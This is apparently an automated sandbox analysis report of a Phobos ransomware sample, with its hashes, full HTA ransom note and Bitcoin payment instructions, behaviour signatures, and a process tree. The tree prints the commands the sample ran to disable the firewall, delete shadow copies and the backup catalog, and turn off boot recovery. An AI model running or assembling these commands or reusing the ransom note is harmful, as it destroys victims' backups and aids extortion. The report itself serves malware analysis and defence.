Analysis

  • max time kernel
    150s
  • max time network
    30s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    08-04-2023 01:24

General

  • Target

    55c30024aed833336eb4720a1a4a40c78496efb27b3c4d5c3f1d1b5935c12715.exe

  • Size

    56KB

  • MD5

    4ab785bba778bd582b33baeac2cc9c22

  • SHA1

    23db0ae4d5b7b4fe8698583e25e50e1b89cf9411

  • SHA256

    55c30024aed833336eb4720a1a4a40c78496efb27b3c4d5c3f1d1b5935c12715

  • SHA512

    916cc0d2e0e623a897d4d515e2148c0b08dd3c308b27b53032def045eafbd625ac2031fd5713e055f4f323a840ed534aaaa5da06586928cc2dbafb46cb276955

  • SSDEEP

    1536:bNeRBl5PT/rx1mzwRMSTdLpJyCfPAIotcQ:bQRrmzwR5JyNO

Malware Config

Extracted

Path

C:\info.hta

Ransom Note
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01//EN' 'http://www.w3.org/TR/html4/strict.dtd'> <html> <head> <meta charset='windows-1251'> <title>encrypted</title> <HTA:APPLICATION ICON='msiexec.exe' SINGLEINSTANCE='yes' SysMenu="no"> <script language='JScript'> window.moveTo(50, 50); window.resizeTo(screen.width - 100, screen.height - 100); </script> <style type='text/css'> body { font: 15px Tahoma, sans-serif; margin: 10px; line-height: 25px; background: #EDEDED; } img { display:inline-block; } .bold { font-weight: bold; } .mark { background: #D0D0E8; padding: 2px 5px; } .header { text-align: center; font-size: 30px; line-height: 50px; font-weight: bold; margin-bottom:20px; } .info { background: #D0D0E8; border-left: 10px solid #00008B; } .alert { background: #FFE4E4; border-left: 10px solid #FF0000; } .private { border: 1px dashed #000; background: #FFFFEF; } .note { height: auto; padding-bottom: 1px; margin: 15px 0; } .note .title { font-weight: bold; text-indent: 10px; height: 30px; line-height: 30px; padding-top: 10px; } .note .mark { background: #A2A2B5; } .note ul { margin-top: 0; } .note pre { margin-left: 15px; line-height: 13px; font-size: 13px; } .footer { position:fixed; bottom:0; right:0; text-align: right; } </style> </head> <body> <div class='header'> <img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAQAAAAAYLlVAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAAAAmJLR0QA/4ePzL8AAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfjAwwMJwSFwIn8AAADNklEQVRo3u2ZTUhUURTHfzozmprmZ1pYEmkfJNEmiwwkSEyFECIQpEUboYhqFYHQXlcti9rUKldWBEUiuQpbtDDNzD5G8qM0HRXLRtO5LdJx3puPd++8+xyIztm88zgf/3veufeee18SdimDI1RxnL0U4gbAzxhDdPGCfpZs+49JWTTyFB8iAq8wTju1pDgXvopOliIGX+d57rHPieBuLvLNIvgaD1KvP/x1FiTDCwQTNOkFcJVfCuEFgq+c0he+minF8AJBH2WRnCUph8/nIZVhb2d5w1smEbjYSTn7SQ/TucsFlnWkPxBW6Xc4RkbIoHKooSNshsxRbT98Eb0mtyM04oqgmR6hUNvtrwrnWDa4nOVMVF0XLfw2aPuosBfezQPTmNpiVtFmnpj0W+wBKMFrcPeJ3RYWNfwwWHSSZgdAHX6Du5uWFpl0myqm1KiQrASgnNQQaZFOS4t5nhvkAnbZAbDHIE0wIGHzmsUQKdXkQwlACtsN8ijfJay8zBjkovgBbCLPlAG/hNUcswa5IH4Ayasdzxr5pBbWRRYMstGHYg04QAkH4FbQFSwTCKbdI7mzWVipbMceKtiCCFqO0OeY1caRbAaKOcgOCpQ+WWTyM8EwvfjkTfJoYZDFONqwaPyTHs7LbktlPNMYep2XuE22dfhsHjkS/i+3Wn/SK2EdoE72UeuyGH8rxbbLLjqlkRlb4TAzDo5fIJiOvRTnR+ju9VJuwveC/wASDsD+2h5KUyyQTVZiALzjFt3MsY16mtmqx2mt9BbUw4EQuzpGpVcCLQB8nDBZXmJFDoCeInzFS9ObxwzLmeoBMGA4/QBM4t1IAOHXDi7Zqwg9ACrCWotS8xnQWQCHOGsafzOFOhzLT8NxmoI3RZncULjG1ARA8DHYupxUucbUtxd4ghnw4JI30wdARHneMABx0j8FYD3xCkdefQByKFl9KsOjy6nKNBR0cZRCTjOk1JhrBCCY5r3pZtSS9bZkueSqmljVgPoPDa0Algk4HD8QG8AXph0G8Dk2AC89DgPosFKodvR83G/dtiRzTevtUChP0SCTpBQuM+bI6Bvk51gl96X/FFvzCh9oW0v+H2zO2tYtz/EgAAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDE5LTAzLTEyVDEyOjM5OjA0KzAwOjAwG6lIYwAAACV0RVh0ZGF0ZTptb2RpZnkAMjAxOS0wMy0xMlQxMjozOTowNCswMDowMGr08N8AAAAASUVORK5CYII='> <div>All your files have been encrypted!</div> </div> <div class='bold'>All your files have been encrypted due to a security problem with your PC. If you want to restore them, write us to the e-mail <span class='mark'>[email protected]</span></div> <div class='bold'>Write this ID in the title of your message <span class='mark'>C4CB093B-2803</span></div> <div class='bold'>In case of no answer in 24 hours write us to this e-mail:<span class='mark'>[email protected]</span></div> <div> You have to pay for decryption in Bitcoins. The price depends on how fast you write to us. After payment we will send you the tool that will decrypt all your files. </div> <div class='note info'> <div class='title'>Free decryption as guarantee</div> <ul>Before paying you can send us up to 5 files for free decryption. The total size of files must be less than 4Mb (non archived), and files should not contain valuable information. (databases,backups, large excel sheets, etc.) </ul> </div> <div class='note info'> <div class='title'>How to obtain Bitcoins</div> <ul> The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price. <br><a href='https://localbitcoins.com/buy_bitcoins'>https://localbitcoins.com/buy_bitcoins</a> <br> Also you can find other places to buy Bitcoins and beginners guide here: <br><a href='http://www.coindesk.com/information/how-can-i-buy-bitcoins/'>http://www.coindesk.com/information/how-can-i-buy-bitcoins/</a> </ul> </div> <div class='note alert'> <div class='title'>Attention!</div> <ul> <li>Do not rename encrypted files.</li> <li>Do not try to decrypt your data using third party software, it may cause permanent data loss.</li> <li>Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.</li> </ul> </div> </body> </html>
Emails

class='mark'>[email protected]</span></div>

class='mark'>[email protected]</span></div>

URLs

http://www.w3.org/TR/html4/strict.dtd'>

Extracted

Path

C:\Users\Admin\Desktop\info.hta

Ransom Note
All your files have been encrypted! All your files have been encrypted due to a security problem with your PC. If you want to restore them, write us to the e-mail [email protected] Write this ID in the title of your message C4CB093B-2803 In case of no answer in 24 hours write us to this e-mail: [email protected] You have to pay for decryption in Bitcoins. The price depends on how fast you write to us. After payment we will send you the tool that will decrypt all your files. Free decryption as guarantee Before paying you can send us up to 5 files for free decryption. The total size of files must be less than 4Mb (non archived), and files should not contain valuable information. (databases,backups, large excel sheets, etc.) How to obtain Bitcoins The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price. https://localbitcoins.com/buy_bitcoins Also you can find other places to buy Bitcoins and beginners guide here: http://www.coindesk.com/information/how-can-i-buy-bitcoins/ Attention! Do not rename encrypted files. Do not try to decrypt your data using third party software, it may cause permanent data loss. Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.

Signatures

  • Phobos

    Phobos ransomware appeared at the beginning of 2019.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
  • Deletes backup catalog 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Modifies Windows Firewall 1 TTPs 2 IoCs
  • Modifies extensions of user files 2 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Drops startup file 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops desktop.ini file(s) 64 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Interacts with shadow copies 2 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\55c30024aed833336eb4720a1a4a40c78496efb27b3c4d5c3f1d1b5935c12715.exe
    "C:\Users\Admin\AppData\Local\Temp\55c30024aed833336eb4720a1a4a40c78496efb27b3c4d5c3f1d1b5935c12715.exe"
    1⤵
    • Modifies extensions of user files
    • Drops startup file
    • Adds Run key to start application
    • Drops desktop.ini file(s)
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1136
    • C:\Users\Admin\AppData\Local\Temp\55c30024aed833336eb4720a1a4a40c78496efb27b3c4d5c3f1d1b5935c12715.exe
      "C:\Users\Admin\AppData\Local\Temp\55c30024aed833336eb4720a1a4a40c78496efb27b3c4d5c3f1d1b5935c12715.exe"
      2⤵
        PID:2032
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1696
        • C:\Windows\system32\netsh.exe
          netsh advfirewall set currentprofile state off
          3⤵
          • Modifies Windows Firewall
          PID:1428
        • C:\Windows\system32\netsh.exe
          netsh firewall set opmode mode=disable
          3⤵
          • Modifies Windows Firewall
          PID:1620
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:916
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:1484
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2960
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} bootstatuspolicy ignoreallfailures
          3⤵
          • Modifies boot configuration data using bcdedit
          PID:1592
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} recoveryenabled no
          3⤵
          • Modifies boot configuration data using bcdedit
          PID:1980
        • C:\Windows\system32\wbadmin.exe
          wbadmin delete catalog -quiet
          3⤵
          • Deletes backup catalog
          PID:2236
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\info.hta"
        2⤵
        • Modifies Internet Explorer settings
        PID:2568
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\desktop\info.hta"
        2⤵
        • Modifies Internet Explorer settings
        PID:2648
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\info.hta"
        2⤵
        • Modifies Internet Explorer settings
        PID:2764
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2752
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:2760
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2820
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} bootstatuspolicy ignoreallfailures
          3⤵
          • Modifies boot configuration data using bcdedit
          PID:2912
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} recoveryenabled no
          3⤵
          • Modifies boot configuration data using bcdedit
          PID:2932
        • C:\Windows\system32\wbadmin.exe
          wbadmin delete catalog -quiet
          3⤵
          • Deletes backup catalog
          PID:216
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1464
    • C:\Windows\system32\wbengine.exe
      "C:\Windows\system32\wbengine.exe"
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2264
    • C:\Windows\System32\vdsldr.exe
      C:\Windows\System32\vdsldr.exe -Embedding
      1⤵
        PID:2152
      • C:\Windows\System32\vds.exe
        C:\Windows\System32\vds.exe
        1⤵
          PID:2440

        Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\MSOCache\All Users\{90140000-0011-0000-0000-0000000FF1CE}-C\ProPsWW.cab.id[C4CB093B-2803].[[email protected]].faust

          Filesize

          143.1MB

          MD5

          f58d62cb7c84e37ea4d134ffbaac3ac6

          SHA1

          6be280e04d996fc017e2e27ee1c1cded2921ade7

          SHA256

          c935649e7f773593245bbf52f8ea29ee901aab80bb7be6a9a00db586712b317f

          SHA512

          8271fd15b0bcd7f6aa0496926e8cc2e450402e812b0626ddc86a99c3c5646bc9bcaf7912ee76862a6029a0736c0cb021c149859b031758f98e7c8e6204c8d5df

        • C:\Users\Admin\Desktop\info.hta

          Filesize

          5KB

          MD5

          da23e294853d5ac0871c9e41c2a5d0b2

          SHA1

          7d5f39e601a58652ac063155b4aa9d394f218ff4

          SHA256

          fa29d08b541c17063c939cc04bdeffaffcf3f18d8a032a1761f61defa5c6479c

          SHA512

          4577d70558792dd2e827dc4759e0883866ded0cfc1bdf2ec406a6a07268eb52af514cc4b9ecfd539c1efe843d91a858bddb916b6296330c4c0fefde69d5aa991

        • C:\info.hta

          Filesize

          5KB

          MD5

          da23e294853d5ac0871c9e41c2a5d0b2

          SHA1

          7d5f39e601a58652ac063155b4aa9d394f218ff4

          SHA256

          fa29d08b541c17063c939cc04bdeffaffcf3f18d8a032a1761f61defa5c6479c

          SHA512

          4577d70558792dd2e827dc4759e0883866ded0cfc1bdf2ec406a6a07268eb52af514cc4b9ecfd539c1efe843d91a858bddb916b6296330c4c0fefde69d5aa991

        • C:\info.hta

          Filesize

          5KB

          MD5

          da23e294853d5ac0871c9e41c2a5d0b2

          SHA1

          7d5f39e601a58652ac063155b4aa9d394f218ff4

          SHA256

          fa29d08b541c17063c939cc04bdeffaffcf3f18d8a032a1761f61defa5c6479c

          SHA512

          4577d70558792dd2e827dc4759e0883866ded0cfc1bdf2ec406a6a07268eb52af514cc4b9ecfd539c1efe843d91a858bddb916b6296330c4c0fefde69d5aa991

        • C:\users\public\desktop\info.hta

          Filesize

          5KB

          MD5

          da23e294853d5ac0871c9e41c2a5d0b2

          SHA1

          7d5f39e601a58652ac063155b4aa9d394f218ff4

          SHA256

          fa29d08b541c17063c939cc04bdeffaffcf3f18d8a032a1761f61defa5c6479c

          SHA512

          4577d70558792dd2e827dc4759e0883866ded0cfc1bdf2ec406a6a07268eb52af514cc4b9ecfd539c1efe843d91a858bddb916b6296330c4c0fefde69d5aa991